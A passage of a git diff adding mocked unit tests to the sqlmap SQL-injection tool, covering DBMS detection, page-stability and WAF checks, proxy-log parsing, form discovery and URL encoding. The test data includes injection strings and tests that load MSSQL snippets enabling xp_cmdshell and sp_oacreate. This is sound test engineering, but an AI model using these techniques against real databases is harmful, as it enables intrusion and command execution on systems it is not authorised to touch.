+ + re.escape(SINGLE_QUOTE_MARKER) + r"(.*?)" + re.escape(SINGLE_QUOTE_MARKER) + ) + + def oracle(expr): + match = predicate.search(expr) + if not match: + return False + selected, fromClause, compared = match.group(1), match.group(2) or "", match.group(3) + # True only for the target DBMS's FROM clause with matching literals + return fromClause == targetFrom and selected == compared + + checks.checkBooleanExpression = oracle + result = checks.heuristicCheckDbms(InjectionDict()) + # real predicate matching must single out the chosen DBMS, not whatever + # getPublicTypeMembers() happens to yield first + self.assertEqual(result, target) + self.assertEqual(kb.heuristicExtendedDbms, target) + + +class TestCheckDynParam(_ChecksTestBase): + # A stable baseline page that checkDynParam's injected response is compared + # against by the REAL comparison() engine. Long enough that difflib's + # quick_ratio is meaningful rather than degenerate. + _BASELINE = ("Welcome" + + "the quick brown fox jumps over the lazy dog. " * 20 + + "") + + def setUp(self): + super(TestCheckDynParam, self).setUp() + conf.method = None + checks.agent.payload = lambda *a, **kw: "PAYLOAD" + # state the real comparison() engine reads + conf.string = conf.notString = conf.regexp = conf.code = None + conf.titles = conf.textOnly = False + kb.nullConnection = False + kb.heavilyDynamic = False + kb.skipSeqMatcher = False + kb.errorIsNone = False + kb.negativeLogic = False + kb.pageCompress = False + kb.matchRatio = None + kb.pageTemplate = self._BASELINE + + def test_redirect_short_circuits(self): + kb.choices.redirect = "yes" + self.assertIsNone(checks.checkDynParam(PLACE.GET, "id", "1")) + + def test_dynamic_when_page_differs(self): + # A response wildly different from the baseline drives the real + # comparison() ratio below LOWER_RATIO_BOUND -> queryPage returns False + # (page differs) -> parameter is dynamic. + self._patchQueryPage(self._comparingQuery("totally unrelated content " + "Z" * 200)) + result = checks.checkDynParam(PLACE.GET, "id", "1") + self.assertTrue(result) + self.assertTrue(kb.dynamicParameter) + + def test_not_dynamic_when_page_same(self): + # An identical response yields ratio 1.0 (> UPPER_RATIO_BOUND) from the + # real comparison() -> queryPage returns True (page same) -> not dynamic. + self._patchQueryPage(self._comparingQuery(self._BASELINE)) + result = checks.checkDynParam(PLACE.GET, "id", "1") + self.assertFalse(result) + self.assertFalse(kb.dynamicParameter) + + +class TestCheckDynamicContent(_ChecksTestBase): + def setUp(self): + super(TestCheckDynamicContent, self).setUp() + kb.nullConnection = False + + def test_null_connection_skips(self): + kb.nullConnection = NULLCONNECTION.HEAD + self.assertIsNone(checks.checkDynamicContent("a", "b")) + + def test_missing_page_aborts(self): + self.assertIsNone(checks.checkDynamicContent(None, "x")) + + def test_identical_pages_no_dynamicity(self): + # high ratio -> no dynamic-content engine, no further requests + self._patchQueryPage(lambda *a, **kw: self.fail("should not request")) + self.assertIsNone(checks.checkDynamicContent("identical content", "identical content")) + + +class TestCheckStability(_ChecksTestBase): + def setUp(self): + super(TestCheckStability, self).setUp() + kb.originalPageTime = time.time() + kb.nullConnection = False + + def test_stable_when_pages_match(self): + kb.originalPage = "SAME PAGE" + self._patchQueryPage(self._contentQuery("SAME PAGE")) + self.assertTrue(checks.checkStability()) + self.assertTrue(kb.pageStable) + + def test_redirect_returns_none(self): + kb.originalPage = "SAME PAGE" + self._patchQueryPage(self._contentQuery("SAME PAGE")) + kb.choices.redirect = "yes" + self.assertIsNone(checks.checkStability()) + + def test_unstable_continue_choice(self): + kb.originalPage = "FIRST PAGE CONTENT" + conf.retries = 0 + kb.heavilyDynamic = False + checks.readInput = lambda *a, **kw: "C" + + def _q(*a, **kw): + if kw.get("content"): + return ("SECOND DIFFERENT PAGE", None, 200) + return True # keeps checkDynamicContent's retry loop from firing + self._patchQueryPage(_q) + + result = checks.checkStability() + self.assertFalse(result) + self.assertFalse(kb.pageStable) + + def test_unstable_string_choice_sets_conf_string(self): + kb.originalPage = "FIRST" + self._patchQueryPage(self._contentQuery("SECOND")) + replies = iter(["S", "MATCHME"]) + checks.readInput = lambda *a, **kw: next(replies) + checks.checkStability() + self.assertEqual(conf.string, "MATCHME") + + +class TestCheckNullConnection(_ChecksTestBase): + def setUp(self): + super(TestCheckNullConnection, self).setUp() + conf.data = None + kb.pageCompress = False + kb.nullConnection = None + + def test_post_data_disables_null_connection(self): + conf.data = "a=b" + self.assertFalse(checks.checkNullConnection()) + + def test_head_content_length(self): + def _getPage(*a, **kw): + if kw.get("method") == HTTPMETHOD.HEAD: + return ("", {HTTP_HEADER.CONTENT_LENGTH: "1234"}, 200) + return ("x", {}, 200) + self._patchGetPage(_getPage) + self.assertTrue(checks.checkNullConnection()) + self.assertEqual(kb.nullConnection, NULLCONNECTION.HEAD) + + def test_range_content_range(self): + def _getPage(*a, **kw): + if kw.get("method") == HTTPMETHOD.HEAD: + return ("", {}, 200) # no Content-Length on HEAD + if kw.get("auxHeaders"): + return ("A", {HTTP_HEADER.CONTENT_RANGE: "bytes 0-0/100"}, 206) + return ("x", {}, 200) + self._patchGetPage(_getPage) + self.assertTrue(checks.checkNullConnection()) + self.assertEqual(kb.nullConnection, NULLCONNECTION.RANGE) + + def test_not_supported(self): + # nothing usable on any method -> nullConnection ends up False + self._patchGetPage(lambda *a, **kw: ("xx", {}, 200)) + self.assertFalse(checks.checkNullConnection()) + self.assertFalse(kb.nullConnection) + + +class TestCheckConnection(_ChecksTestBase): + def setUp(self): + super(TestCheckConnection, self).setUp() + conf.hostname = "1.2.3.4" # dotted-quad -> no DNS resolution + conf.string = conf.regexp = None + conf.cj = None + conf.ignoreCode = None + kb.httpErrorCodes = {} + checks.wasLastResponseHTTPError = lambda: False + checks.wasLastResponseDBMSError = lambda: False + td = getCurrentThreadData() + td.lastPage = "PAGE CONTENT" + td.lastCode = 200 + + class _Headers(object): + headers = "Server: test\r\n" + + def test_success_sets_error_is_none(self): + self._patchQueryPage(lambda *a, **kw: ("PAGE CONTENT", self._Headers(), 200)) + self.assertTrue(checks.checkConnection()) + self.assertTrue(kb.errorIsNone) + self.assertEqual(kb.originalPage, "PAGE CONTENT") + + def test_dbms_error_clears_error_is_none(self): + self._patchQueryPage(lambda *a, **kw: ("oops SQL error", self._Headers(), 200)) + checks.wasLastResponseDBMSError = lambda: True + self.assertTrue(checks.checkConnection()) + self.assertFalse(kb.errorIsNone) + + def test_string_not_in_response_still_continues(self): + conf.string = "NEEDLE-NOT-PRESENT" + self._patchQueryPage(lambda *a, **kw: ("haystack only", self._Headers(), 200)) + # warns but carries on (returns True) + self.assertTrue(checks.checkConnection()) + + +class TestCheckWaf(_ChecksTestBase): + def setUp(self): + super(TestCheckWaf, self).setUp() + conf.string = conf.notString = conf.regexp = None + conf.dummy = conf.offline = conf.skipWaf = None + kb.originalCode = 200 + kb.originalPage = "page" + conf.parameters = {PLACE.GET: "id=1"} + kb.resendPostOnRedirect = False + conf.timeout = 30 + kb.identifiedWafs = [] + conf.tamper = None + kb.tamperFunctions = [] + checks.agent.addPayloadDelimiters = lambda v: v + + def test_skips_when_string_set(self): + conf.string = "x" + self.assertIsNone(checks.checkWaf()) + + def test_not_detected_on_high_ratio(self): + # queryPage()[1] is the ratio; high ratio -> not blocked + self._patchQueryPage(lambda *a, **kw: ("ok", 0.9, 200)) + self.assertFalse(checks.checkWaf()) + + def test_detected_on_low_ratio(self): + self._patchQueryPage(lambda *a, **kw: ("blocked", 0.1, 403)) + checks.readInput = lambda *a, **kw: True # continue + accept bypass + import lib.utils.wafbypass as wafbypass + orig = wafbypass.neutralizeFingerprint + wafbypass.neutralizeFingerprint = lambda: None + try: + self.assertTrue(checks.checkWaf()) + finally: + wafbypass.neutralizeFingerprint = orig + + +class TestCheckInternet(_ChecksTestBase): + def test_internet_available(self): + self._patchGetPage(lambda *a, **kw: ("ok", None, checks.CHECK_INTERNET_CODE)) + self.assertTrue(checks.checkInternet()) + + def test_internet_unavailable(self): + self._patchGetPage(lambda *a, **kw: ("captive portal", None, 500)) + self.assertFalse(checks.checkInternet()) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_common_parsers.py b/tests/test_common_parsers.py new file mode 100644 index 00000000000..4c28829909b --- /dev/null +++ b/tests/test_common_parsers.py @@ -0,0 +1,466 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Pure / near-pure parsers and state helpers in lib/core/common.py that are NOT +already exercised by tests/test_common_utils.py. + +Covered here: + * proxy-log parsers reached through parseRequestFile() + (_parseBurpLog plain log, _parseBurpLog Burp XML history, _parseWebScarabLog) + * parseTargetDirect() non-smoke branch (driver resolution for SQLite) + * removeReflectiveValues() reflected-payload masking + * findPageForms() HTML
and inline JS POST discovery + * saveConfig() .ini serialization + * getSQLSnippet() proc-file loading + variable substitution + * checkSystemEncoding() (no-op on a normal default encoding) + * Format.getOs() fingerprint humanizer + * Backend setters/getters (setOs/getOs, setOsVersion, setOsServicePack, + setVersion/getVersion/setVersionList) + * urlencode() extra branches (LIKE percent-encoding, convall, limit, direct) + * safeStringFormat() extra branches (PAYLOAD_DELIMITER region, scalar percent) + +Everything is run in isolation (no network, no DBMS). Any function that +reads/writes global conf/kb/Backend state has that state saved and restored +around the call so test ordering stays irrelevant. Temp files go to the +session scratchpad and are removed. +""" + +import os +import sys +import base64 +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import ( + parseRequestFile, + parseTargetDirect, + removeReflectiveValues, + findPageForms, + saveConfig, + getSQLSnippet, + checkSystemEncoding, + urlencode, + safeStringFormat, + Format, + Backend, +) +from lib.core.data import kb, conf +from lib.core.enums import DBMS, HTTPMETHOD +from lib.core.settings import REFLECTED_VALUE_MARKER, PAYLOAD_DELIMITER + +SCRATCH = "/tmp/claude-1000/-tmp-tmp-oUnlQJzlQN/fcd55d25-6313-49ed-817e-dcbe7fc2bf22/scratchpad" + + +def _write_temp(content, suffix): + """Write `content` (str) to a scratchpad temp file, return its path.""" + if not os.path.isdir(SCRATCH): + os.makedirs(SCRATCH) + handle, path = tempfile.mkstemp(suffix=suffix, dir=SCRATCH) + os.write(handle, content.encode("utf-8") if isinstance(content, str) else content) + os.close(handle) + return path + + +class TestParseRequestFileBurp(unittest.TestCase): + """_parseBurpLog via parseRequestFile (plain '=====' log + Burp XML history).""" + + def setUp(self): + self._scope = conf.scope + self._method = conf.method + self._headers = conf.headers + conf.scope = None + + def tearDown(self): + conf.scope = self._scope + conf.method = self._method + conf.headers = self._headers + + def test_plain_burp_log_get(self): + content = ( + "======================================================\n" + "GET http://www.target.com:80/vuln.php?id=1 HTTP/1.1\n" + "Host: www.target.com\n" + "Cookie: PHPSESSID=abc\n" + "======================================================\n" + ) + path = _write_temp(content, ".log") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + + self.assertEqual(len(targets), 1) + url, method, data, cookie, headers = targets[0] + self.assertEqual(url, "http://www.target.com:80/vuln.php?id=1") + self.assertEqual(method, HTTPMETHOD.GET) + self.assertIsNone(data) + self.assertEqual(cookie, "PHPSESSID=abc") + self.assertIn(("Host", "www.target.com"), headers) + + def test_burp_xml_history_base64_request(self): + req = "GET /vuln.php?id=1 HTTP/1.1\r\nHost: www.target.com\r\nCookie: SID=xyz\r\n\r\n" + b64 = base64.b64encode(req.encode()).decode() + xml = ('80' + '' + '' % b64) + path = _write_temp(xml, ".xml") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + + self.assertEqual(len(targets), 1) + url, method, data, cookie, headers = targets[0] + self.assertEqual(url, "http://www.target.com:80/vuln.php?id=1") + self.assertEqual(method, HTTPMETHOD.GET) + self.assertEqual(cookie, "SID=xyz") + + def test_post_body_captured(self): + content = ( + "======================================================\n" + "POST http://www.target.com:80/login HTTP/1.1\n" + "Host: www.target.com\n" + "Content-Length: 17\n" + "\n" + "user=admin&pw=1\n" + "======================================================\n" + ) + path = _write_temp(content, ".log") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + + self.assertEqual(len(targets), 1) + url, method, data, cookie, headers = targets[0] + self.assertEqual(method, HTTPMETHOD.POST) + self.assertEqual(data, "user=admin&pw=1") + + def test_scope_filters_out_nonmatching(self): + content = ( + "======================================================\n" + "GET http://www.target.com:80/vuln.php?id=1 HTTP/1.1\n" + "Host: www.target.com\n" + "======================================================\n" + ) + path = _write_temp(content, ".log") + try: + conf.scope = r"example\.org" # does not match target.com + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + self.assertEqual(targets, []) + + +class TestParseRequestFileWebScarab(unittest.TestCase): + """_parseWebScarabLog via parseRequestFile.""" + + def setUp(self): + self._scope = conf.scope + conf.scope = None + + def tearDown(self): + conf.scope = self._scope + + def test_get_conversation(self): + content = ( + "### Conversation : 1\n" + "URL: http://www.target.com/vuln.php?id=1\n" + "METHOD: GET\n" + "COOKIE: SID=abc\n" + ) + path = _write_temp(content, ".log") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + + self.assertEqual(len(targets), 1) + url, method, data, cookie, headers = targets[0] + self.assertEqual(url, "http://www.target.com/vuln.php?id=1") + self.assertEqual(method, "GET") + self.assertIsNone(data) + self.assertEqual(cookie, "SID=abc") + self.assertEqual(headers, tuple()) + + def test_post_conversation_skipped(self): + # POST bodies live in separate files -> WebScarab POSTs are skipped + content = ( + "### Conversation : 1\n" + "URL: http://www.target.com/login\n" + "METHOD: POST\n" + ) + path = _write_temp(content, ".log") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + self.assertEqual(targets, []) + + +class TestParseTargetDirectNonSmoke(unittest.TestCase): + """parseTargetDirect() non-smoke branch: resolves the canonical DBMS name. + + Uses SQLite because its driver (stdlib sqlite3) is always importable. + """ + + _KEYS = ("direct", "dbms", "dbmsUser", "dbmsPass", "dbmsDb", "hostname", "port") + + def setUp(self): + self._saved = {k: conf.get(k) for k in self._KEYS} + self._smoke = kb.smokeMode + self._params_none = conf.parameters.get(None) + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + kb.smokeMode = self._smoke + if self._params_none is None: + conf.parameters.pop(None, None) + else: + conf.parameters[None] = self._params_none + + def test_sqlite_local_dsn(self): + kb.smokeMode = False + conf.direct = "sqlite://%s" % os.path.join(SCRATCH, "test.db") + parseTargetDirect() + # non-smoke path canonicalizes the DBMS name via DBMS_DICT + self.assertEqual(conf.dbms, DBMS.SQLITE) + # local file DBMS: hostname forced to localhost, port 0 + self.assertEqual(conf.hostname, "localhost") + self.assertEqual(conf.port, 0) + self.assertEqual(conf.parameters[None], "direct connection") + + +class TestRemoveReflectiveValues(unittest.TestCase): + def setUp(self): + self._mech = kb.reflectiveMechanism + self._heur = kb.heuristicMode + kb.reflectiveMechanism = True + kb.heuristicMode = False + + def tearDown(self): + kb.reflectiveMechanism = self._mech + kb.heuristicMode = self._heur + + def test_reflected_payload_masked(self): + content = u"You searched for 1 AND 1=2 here" + out = removeReflectiveValues(content, "1 AND 1=2") + self.assertIn(REFLECTED_VALUE_MARKER, out) + self.assertNotIn("AND 1=2", out) + + def test_no_reflection_returns_content_unchanged(self): + content = u"nothing interesting" + out = removeReflectiveValues(content, "1 AND 1=2") + self.assertEqual(out, content) + + def test_none_payload_returns_content(self): + content = u"x" + self.assertEqual(removeReflectiveValues(content, None), content) + + def test_bytes_content_returned_as_is(self): + # non-text content short-circuits (isinstance text_type check) + content = b"1 AND 1=2" + self.assertEqual(removeReflectiveValues(content, "1 AND 1=2"), content) + + +class TestFindPageForms(unittest.TestCase): + def setUp(self): + self._scope = conf.scope + self._crawlExclude = conf.crawlExclude + self._cookie = conf.cookie + conf.scope = None + conf.crawlExclude = None + conf.cookie = None + + def tearDown(self): + conf.scope = self._scope + conf.crawlExclude = self._crawlExclude + conf.cookie = self._cookie + + def test_post_form_discovered(self): + html = ('' + '' + '
') + forms = findPageForms(html, "http://www.site.com") + self.assertEqual(forms, set([("http://www.site.com/input.php", "POST", "id=1", None, None)])) + + def test_get_form_discovered(self): + html = ('
' + '' + '
') + forms = findPageForms(html, "http://www.site.com") + self.assertEqual(len(forms), 1) + url, method, data, _cookie, _ = list(forms)[0] + self.assertEqual(method, "GET") + self.assertIn("q=x", url) + + def test_inline_js_post_discovered(self): + # the `.post('url', {k: v})` regex branch (independent of HTML form parsing) + html = "" + forms = findPageForms(html, "http://www.site.com") + self.assertTrue(any(m == HTTPMETHOD.POST and u.endswith("/api/save") for (u, m, d, c, e) in forms)) + + def test_blank_content_returns_empty_set(self): + self.assertEqual(findPageForms("", "http://www.site.com"), set()) + + +class TestSaveConfig(unittest.TestCase): + def test_writes_ini_with_sections(self): + path = _write_temp("", ".ini") + try: + saveConfig(conf, path) + with open(path) as f: + data = f.read() + finally: + os.unlink(path) + + # optDict families become [Section] headers + self.assertIn("[Target]", data) + self.assertIn("[Request]", data) + self.assertIn("[Enumeration]", data) + self.assertTrue(len(data) > 0) + + +class TestGetSQLSnippet(unittest.TestCase): + def test_mssql_proc_loaded(self): + snippet = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") + self.assertIn("RECONFIGURE", snippet) + + def test_variable_substitution(self): + # %VAR% placeholders are substituted from kwargs (here %ENABLE%); + # supplying it avoids the interactive "provide substitution values" prompt. + snippet = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE="1") + self.assertIn("xp_cmdshell", snippet) + self.assertIn("RECONFIGURE", snippet) + # comments (#...) are stripped and the placeholder is fully resolved + self.assertNotIn("#", snippet) + self.assertNotIn("%ENABLE%", snippet) + + +class TestCheckSystemEncoding(unittest.TestCase): + def test_noop_on_normal_encoding(self): + # On a normal default encoding this is a no-op and must not raise. + self.assertIsNone(checkSystemEncoding()) + + +class TestFormatGetOs(unittest.TestCase): + def setUp(self): + self._api = conf.api + conf.api = False + + def tearDown(self): + conf.api = self._api + + def test_humanizes_type_and_technology(self): + info = { + "type": set(["Linux"]), + "distrib": set(["Ubuntu"]), + "release": set(["8.10"]), + "technology": set(["PHP 5.2.6", "Apache 2.2.9"]), + } + out = Format.getOs("back-end DBMS", info) + self.assertTrue(out.startswith("back-end DBMS operating system: Linux")) + self.assertIn("Ubuntu", out) + self.assertIn("8.10", out) + self.assertIn("web application technology:", out) + + def test_api_mode_returns_dict(self): + orig = conf.api + try: + conf.api = True + info = {"type": set(["Windows"]), "technology": set(["IIS"])} + out = Format.getOs("back-end DBMS", info) + self.assertIsInstance(out, dict) + self.assertIn("web application technology", out) + finally: + conf.api = orig + + +class TestBackendSetters(unittest.TestCase): + """Backend OS/version setters write kb state; save and restore it.""" + + _KEYS = ("os", "osVersion", "osSP", "dbmsVersion") + + def setUp(self): + self._saved = {k: kb.get(k) for k in self._KEYS} + + def tearDown(self): + for k, v in self._saved.items(): + kb[k] = v + + def test_set_get_os(self): + kb.os = None + self.assertEqual(Backend.setOs("windows"), "Windows") # capitalized + self.assertEqual(Backend.getOs(), "Windows") + + def test_set_os_none_returns_none(self): + self.assertIsNone(Backend.setOs(None)) + + def test_set_os_version(self): + kb.osVersion = None + Backend.setOsVersion("2008") + self.assertEqual(Backend.getOsVersion(), "2008") + + def test_set_os_service_pack(self): + kb.osSP = None + Backend.setOsServicePack(3) + self.assertEqual(Backend.getOsServicePack(), 3) + + def test_set_get_version(self): + kb.dbmsVersion = [] + self.assertEqual(Backend.setVersion("5.7"), ["5.7"]) + self.assertEqual(Backend.getVersion(), "5.7") + + def test_set_version_list(self): + kb.dbmsVersion = [] + Backend.setVersionList(["8.0", "8.1"]) + self.assertEqual(Backend.getVersionList(), ["8.0", "8.1"]) + + +class TestUrlencodeExtraBranches(unittest.TestCase): + def test_like_percent_encoded(self): + # '%' inside a LIKE '...' literal is encoded to %25 + self.assertEqual(urlencode("AND name LIKE '%DBA%'"), + "AND%20name%20LIKE%20%27%25DBA%25%27") + + def test_convall_drops_safe_set(self): + self.assertEqual(urlencode("a&b", convall=True), "a%26b") + + def test_limit_does_not_crash_on_long_input(self): + out = urlencode("x " * 4000, limit=True) + self.assertTrue(len(out) > 0) + + def test_direct_mode_returns_value_unchanged(self): + orig = conf.direct + try: + conf.direct = "mysql://u:p@h:3306/d" + self.assertEqual(urlencode("a b"), "a b") + finally: + conf.direct = orig + + +class TestSafeStringFormatExtraBranches(unittest.TestCase): + def test_percent_d_in_payload_region_becomes_string(self): + fmt = "SELECT %s" + PAYLOAD_DELIMITER + " AND %d " + PAYLOAD_DELIMITER + self.assertEqual( + safeStringFormat(fmt, ("a", "5")), + "SELECT a" + PAYLOAD_DELIMITER + " AND 5 " + PAYLOAD_DELIMITER) + + def test_scalar_string_percent_preserved(self): + # single-string param path: plain replace, embedded '%' survives + self.assertEqual(safeStringFormat("LIKE %s", "100%done"), "LIKE 100%done") + + def test_two_params_list(self): + self.assertEqual(safeStringFormat("%s/%s", ("a", "b")), "a/b") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_common_utils.py b/tests/test_common_utils.py new file mode 100644 index 00000000000..9faa815f760 --- /dev/null +++ b/tests/test_common_utils.py @@ -0,0 +1,340 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Pure / near-pure helpers in lib/core/common.py. + +These cover the request/parameter parsing, charset construction, limit-range +generation, safe string formatting, URL encoding, UNION page parsing, target +URL/direct-connection parsing and SQL identifier quoting. They are exercised +in isolation (no network, no DBMS, no filesystem mutation); any function that +reads/writes global conf/kb state has that state saved and restored around the +call so test ordering stays irrelevant. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.common import ( + paramToDict, + getCharset, + getLimitRange, + parseUnionPage, + safeStringFormat, + urlencode, + parseTargetUrl, + parseTargetDirect, + safeSQLIdentificatorNaming, + getPartRun, + getText, +) +from lib.core.data import kb, conf +from lib.core.enums import PLACE, CHARSET_TYPE, DBMS + + +class TestParamToDict(unittest.TestCase): + """Parameter string -> OrderedDict for the various injection places.""" + + def test_get_two_params(self): + result = paramToDict(PLACE.GET, "id=1&name=foo") + self.assertEqual(list(result.items()), [("id", "1"), ("name", "foo")]) + + def test_get_preserves_order(self): + result = paramToDict(PLACE.GET, "c=3&a=1&b=2") + self.assertEqual(list(result.keys()), ["c", "a", "b"]) + + def test_post_place(self): + result = paramToDict(PLACE.POST, "user=admin&pass=secret") + self.assertEqual(result["user"], "admin") + self.assertEqual(result["pass"], "secret") + + def test_empty_value(self): + result = paramToDict(PLACE.GET, "id=&name=x") + self.assertEqual(result["id"], "") + self.assertEqual(result["name"], "x") + + def test_value_with_equal_signs(self): + # value is re-joined on '=' so embedded '=' survives + result = paramToDict(PLACE.GET, "token=a=b=c") + self.assertEqual(result["token"], "a=b=c") + + def test_cookie_delimiter(self): + # COOKIE place splits on ';' rather than '&' + result = paramToDict(PLACE.COOKIE, "foo=bar;baz=qux") + self.assertEqual(list(result.items()), [("foo", "bar"), ("baz", "qux")]) + + def test_param_without_equals_ignored(self): + # an element with no '=' has len(parts) < 2 and is skipped + result = paramToDict(PLACE.GET, "lonely&id=1") + self.assertEqual(list(result.items()), [("id", "1")]) + + +class TestGetCharset(unittest.TestCase): + """Inference charsets are fixed integer tables.""" + + def test_binary(self): + self.assertEqual(getCharset(CHARSET_TYPE.BINARY), [0, 1, 47, 48, 49]) + + def test_default_is_full_ascii(self): + self.assertEqual(getCharset(None), list(range(0, 128))) + + def test_digits(self): + result = getCharset(CHARSET_TYPE.DIGITS) + self.assertEqual(result, list(range(0, 10)) + list(range(47, 58))) + + def test_alpha_has_no_digits(self): + result = getCharset(CHARSET_TYPE.ALPHA) + # ASCII codes for '0'..'9' are 48..57; ALPHA must exclude them + self.assertFalse(any(48 <= _ <= 57 for _ in result)) + self.assertIn(ord("A"), result) + self.assertIn(ord("z"), result) + + def test_alphanum_superset_of_alpha(self): + alpha = set(getCharset(CHARSET_TYPE.ALPHA)) + alphanum = set(getCharset(CHARSET_TYPE.ALPHANUM)) + self.assertTrue(alpha.issubset(alphanum)) + self.assertIn(ord("5"), alphanum) + + def test_hexadecimal_contains_hex_letters(self): + result = getCharset(CHARSET_TYPE.HEXADECIMAL) + for ch in "0123456789abcdefABCDEF": + self.assertIn(ord(ch), result, msg="missing %r" % ch) + + +class TestGetLimitRange(unittest.TestCase): + def test_basic(self): + self.assertEqual(list(getLimitRange(10)), list(range(0, 10))) + + def test_plus_one(self): + self.assertEqual(list(getLimitRange(3, plusOne=True)), [1, 2, 3]) + + def test_string_count_coerced(self): + # count is int()-coerced internally + self.assertEqual(list(getLimitRange("4")), [0, 1, 2, 3]) + + def test_length(self): + self.assertEqual(len(getLimitRange(7)), 7) + + +class TestParseUnionPage(unittest.TestCase): + def test_none(self): + self.assertIsNone(parseUnionPage(None)) + + def test_two_entries(self): + page = "%sfoo%s%sbar%s" % (kb.chars.start, kb.chars.stop, kb.chars.start, kb.chars.stop) + # returns a BigArray; compare element-wise + self.assertEqual(list(parseUnionPage(page)), ["foo", "bar"]) + + def test_single_entry_unwrapped(self): + # a lone wrapped string is returned as the bare string, not a 1-element list + page = "%shello%s" % (kb.chars.start, kb.chars.stop) + self.assertEqual(parseUnionPage(page), "hello") + + def test_multi_column_row(self): + # a single row whose values are joined by kb.chars.delimiter becomes one + # nested list entry + page = "%sa%sb%s" % (kb.chars.start, kb.chars.delimiter, kb.chars.stop) + self.assertEqual(list(parseUnionPage(page)), [["a", "b"]]) + + def test_unmarked_page_returned_verbatim(self): + self.assertEqual(parseUnionPage("no markers here"), "no markers here") + + +class TestSafeStringFormat(unittest.TestCase): + def test_basic_tuple(self): + self.assertEqual(safeStringFormat("SELECT foo FROM %s LIMIT %d", ("bar", "1")), + "SELECT foo FROM bar LIMIT 1") + + def test_literal_percent_preserved(self): + self.assertEqual( + safeStringFormat("SELECT foo FROM %s WHERE name LIKE '%susan%' LIMIT %d", ("bar", "1")), + "SELECT foo FROM bar WHERE name LIKE '%susan%' LIMIT 1") + + def test_single_string_param(self): + self.assertEqual(safeStringFormat("a %s b", "X"), "a X b") + + def test_scalar_non_string(self): + self.assertEqual(safeStringFormat("n=%d", 5), "n=5") + + +class TestUrlencode(unittest.TestCase): + def test_basic(self): + self.assertEqual(urlencode("AND 1>(2+3)#"), "AND%201%3E%282%2B3%29%23") + + def test_none(self): + self.assertIsNone(urlencode(None)) + + def test_spaceplus(self): + self.assertEqual(urlencode("a b", spaceplus=True), "a+b") + + def test_convall_encodes_safe_chars(self): + # with convall the explicit 'safe' set is dropped, so '/' gets encoded + self.assertEqual(urlencode("a/b", convall=True), "a%2Fb") + + def test_safe_char_default_kept(self): + # by default '-' and '_' are in the safe set + self.assertEqual(urlencode("a-b_c"), "a-b_c") + + +class TestParseTargetUrl(unittest.TestCase): + """parseTargetUrl mutates conf.* in place; save and restore everything touched.""" + + def _save(self): + return {k: conf.get(k) for k in + ("url", "scheme", "path", "hostname", "port", "ipv6")} + + def _restore(self, saved): + for k, v in saved.items(): + conf[k] = v + + def test_https_url(self): + saved = self._save() + orig_params = conf.parameters.get(PLACE.GET) + try: + conf.url = "https://www.test.com/?id=1" + parseTargetUrl() + self.assertEqual(conf.hostname, "www.test.com") + self.assertEqual(conf.scheme, "https") + self.assertEqual(conf.port, 443) + self.assertEqual(conf.parameters[PLACE.GET], "id=1") + finally: + self._restore(saved) + if orig_params is None: + conf.parameters.pop(PLACE.GET, None) + else: + conf.parameters[PLACE.GET] = orig_params + + def test_scheme_defaulted_and_port(self): + saved = self._save() + try: + conf.url = "example.org:8080/app" + parseTargetUrl() + self.assertEqual(conf.hostname, "example.org") + self.assertEqual(conf.scheme, "http") + self.assertEqual(conf.port, 8080) + finally: + self._restore(saved) + + def test_empty_url_returns_none(self): + saved = self._save() + try: + conf.url = "" + self.assertIsNone(parseTargetUrl()) + finally: + self._restore(saved) + + +class TestParseTargetDirect(unittest.TestCase): + """parseTargetDirect under smokeMode (early-returns before driver imports).""" + + def _save(self): + return {k: conf.get(k) for k in + ("direct", "dbms", "dbmsUser", "dbmsPass", "dbmsDb", "hostname", "port")} + + def _restore(self, saved): + for k, v in saved.items(): + conf[k] = v + + def test_full_mysql_dsn(self): + saved = self._save() + orig_smoke = kb.smokeMode + orig_none = conf.parameters.get(None) + try: + kb.smokeMode = True + conf.direct = "mysql://root:testpass@127.0.0.1:3306/testdb" + parseTargetDirect() + self.assertEqual(conf.dbms, "mysql") + self.assertEqual(conf.dbmsUser, "root") + self.assertEqual(conf.dbmsPass, "testpass") + self.assertEqual(conf.dbmsDb, "testdb") + self.assertEqual(conf.hostname, "127.0.0.1") + self.assertEqual(conf.port, 3306) + finally: + self._restore(saved) + kb.smokeMode = orig_smoke + if orig_none is None: + conf.parameters.pop(None, None) + else: + conf.parameters[None] = orig_none + + def test_quoted_password(self): + saved = self._save() + orig_smoke = kb.smokeMode + orig_none = conf.parameters.get(None) + try: + kb.smokeMode = True + conf.direct = "mysql://user:'P@ssw0rd'@127.0.0.1:3306/test" + parseTargetDirect() + self.assertEqual(conf.dbmsPass, "P@ssw0rd") + self.assertEqual(conf.hostname, "127.0.0.1") + finally: + self._restore(saved) + kb.smokeMode = orig_smoke + if orig_none is None: + conf.parameters.pop(None, None) + else: + conf.parameters[None] = orig_none + + def test_empty_direct_returns_none(self): + saved = self._save() + try: + conf.direct = None + self.assertIsNone(parseTargetDirect()) + finally: + self._restore(saved) + + +class TestSafeSQLIdentificatorNaming(unittest.TestCase): + """Quoting of identifiers is DBMS-specific; drive it via kb.forcedDbms.""" + + def _run(self, dbms, name, **kw): + orig = kb.forcedDbms + try: + kb.forcedDbms = dbms + return getText(safeSQLIdentificatorNaming(name, **kw)) + finally: + kb.forcedDbms = orig + + def test_mssql_keyword_bracketed(self): + 